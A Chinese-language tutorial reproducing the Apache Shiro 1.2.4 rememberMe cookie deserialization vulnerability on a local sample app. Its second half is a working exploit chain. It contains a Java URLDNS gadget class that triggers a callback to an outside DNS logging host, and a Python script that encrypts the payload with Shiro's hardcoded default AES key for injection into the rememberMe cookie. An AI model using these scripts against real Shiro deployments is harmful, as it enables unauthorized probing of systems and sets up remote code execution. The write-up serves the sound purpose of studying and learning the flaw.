都2022年了不会还有人学习这么老的漏洞吧?没错就是我…………
准备阶段
起shiro服务,在github上下载<=1.2.4版本,然后修改下pom.xml,修改下如下内容,搞完pom文件一堆爆红,但我点击发布实例选择samples-web后照样运行,没管爆红的地方。如果介意的话网上有完整pom文件可以照搬下
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
我们先访问登录并抓包,记得勾上remember选项
看到请求的cookie部分内容很大,可以猜想这个cookie代表了什么,可以看看保存了什么信息,一般保存cookie都会用到反序列化。以后一定养成这个习惯。
搜索Cookie相关的类,其实就是CookieRememberMeManager
我们通过名字看方法,注意到rememberSerializedIdentity和getRememberedSerializedIdentity方法,随便你分析哪一个,这里分析的是后者,解密的过程。
代码分析
通过配图知道最后进行base64解码。看看哪些调用了该方法。alt+f7查看调用查到getRememberedPrincipals方法
subjectContext在经过getRememberedSerializedIdentity处理后返回bytes,bytes再经过convertBytesToPrincipals处理,其中的过程如下
我们可以先看看反序列化部分是否能触发,跟进deserialize方法
再跟进
可以看到最终调用到了原生的readObject方法。
再来看看convertBytesToPrincipals中的解密方法decrypt
cipherService.decrypt解密方法如下,其实就是aes
因为aes解密方法是固定的,所以重点关注解密的key是什么
寻找key
可以看到是个常量,需要查找在哪被赋值的,alt+f7,看value write部分
继续查看setDecryptionCipherKey在哪被调用
ok,最后找到了关键的key,这样理一下解密的过程
cookie获取 == > base64解码 ==》 aes解密 = ===》反序列化
最后尝试复现该漏洞
URLDNS链生成类
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLCC {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser.txt"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//入口类
HashMap<Object, Integer> hashMap = new HashMap<Object, Integer>();
//调用链
URL url = new URL("http://fyh5ci.logs.ink");
//将hashCode更改为非-1的值,使其序列化的时候不会发起dns请求
Class<? extends URL> aClass = url.getClass();
Field hashCodeField = aClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
//执行类
hashMap.put(url,123);
//将hashCode改为-1,使其反序列化的时候能发起dns请求
hashCodeField.set(url,-1);
serialize(hashMap);
}
}
将上述序列化的内容进行加密,注意要先将keybase64解码
import base64
import uuid
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
if __name__ == '__main__':
data = get_file_data("D:\ser.txt")
print(aes_enc(data))
将生成的payload带入到cookie中,主要要将JSESSIONID去掉,不然会优先读取JSESSIONID的信息,无法利用到我们payload
总结
整个看下来利用链,主要还是要有敏感的发现能力,发现cookie处可能存在反序列化。
getRememberedSerializedIdentity 入口点== > base64解码 ==》 aes解密 = ===》反序列化